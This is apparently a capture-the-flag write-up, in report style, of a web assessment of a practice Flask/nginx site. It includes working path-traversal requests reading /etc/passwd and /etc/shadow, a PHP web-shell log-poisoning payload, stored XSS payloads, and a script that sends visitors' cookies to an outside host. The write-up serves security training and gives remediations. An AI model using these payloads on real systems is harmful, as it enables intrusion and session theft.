// notes/ Practice Boxes
🦏

ctf.rsl.host — Rhino Security

Web-app assessment (Rhino Security CTF). A Flask/nginx "Rhino Conservation" site behind Cloudflare, written up in report style. Findings: missing security he…

#rhino security#rhino#walkthrough#boxes#os:linux#tech:lfi#tech:xss#tech:rce

ctf.rsl.host — Rhino Security

Web-app assessment (Rhino Security CTF). A Flask/nginx "Rhino Conservation" site behind Cloudflare, written up in report style. Findings: missing security headers, path-traversal LFI via data_source, log-poisoning vector, and stored XSS in the profile bio field.

Enumeration

Whatweb / fingerprint

🐺 howlsec@kali
$whatweb https://ctf.rsl.host/
$# [200 OK] HTTPServer[cloudflare], Title[Rhino Conservation], x-envoy-upstream-service-time (Envoy behind CF)

Ffuf — content discovery

🐺 howlsec@kali
$ffuf -u https://ctf.rsl.host/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,302,403
$# admin [403], data [200], profile [200], search [200]

admin returns 403 at the edge. A hidden form on the home page posts to /pdf with url=static/rhino_info.html (a candidate SSRF/URL param).

Findings

1. Missing security headers (Medium)

No X-Frame-Options, Strict-Transport-Security, or X-Content-Type-Options. x-envoy-upstream-service-time leaks backend timing; alt-svc: h3 can cause HTTP/3-unaware scanners to miss issues. Remediate by adding X-Frame-Options: DENY, HSTS, and X-Content-Type-Options: nosniff.

2. LFI via data_source (Critical)

POST /data builds a file path directly from the data_source parameter with no sanitization. A ....// traversal reads arbitrary files:

🐺 howlsec@kali
$curl -X POST -d "data_source=....//....//etc/passwd" https://ctf.rsl.host/data
$curl -X POST -d "data_source=....//....//etc/shadow" https://ctf.rsl.host/data
$curl -X POST -d "data_source=....//....//etc/hosts" https://ctf.rsl.host/data
$# /etc/hosts leaks internal IP: 10.1.32.26 ip-10-1-32-26.ec2.internal (AWS)

Remediate: whitelist filenames, resolve with os.path.realpath() + prefix check, never build paths from user input.

3. Log poisoning via LFI (High — attempted RCE)

Inject PHP into the User-Agent, which lands in the web logs, then include the log via the LFI:

🐺 howlsec@kali
$curl -A "<?php system(\$_GET['cmd']); ?>" https://ctf.rsl.host/ > /dev/null
$curl -X POST -d "data_source=....//....//....//var/log/nginx/access.log" "https://ctf.rsl.host/data?cmd=id"

TL;DR: working LFI ✅ and log-poisoning vector ✅, but no PHP execution on this (nginx, non-PHP) stack — logs weren't found/parsed as PHP, so RCE didn't land.

4. Stored XSS in bio (High)

POST /profile reflects the bio field unsanitized:

🐺 howlsec@kali
$curl -X POST -d "username=testuser&bio=<script>alert('XSS')</script>" https://ctf.rsl.host/profile
$# Bio: <script>alert('XSS')</script> (stored, unescaped)
$curl -X POST -d "username=testuser&bio=<img src=x onerror=alert('XSS')>" https://ctf.rsl.host/profile
$curl -X POST -d "username=testuser&bio=<svg/onload=alert('XSS')>" https://ctf.rsl.host/profile

Weaponize for cookie exfiltration against any viewer (e.g. an admin):

🐺 howlsec@kali
01<script>
02 new Image().src="http://192.168.1.15:8000/log?cookie="+document.cookie;
03</script>

Remediate: context-aware output encoding, autoescaping templates, CSP, and input validation on bio.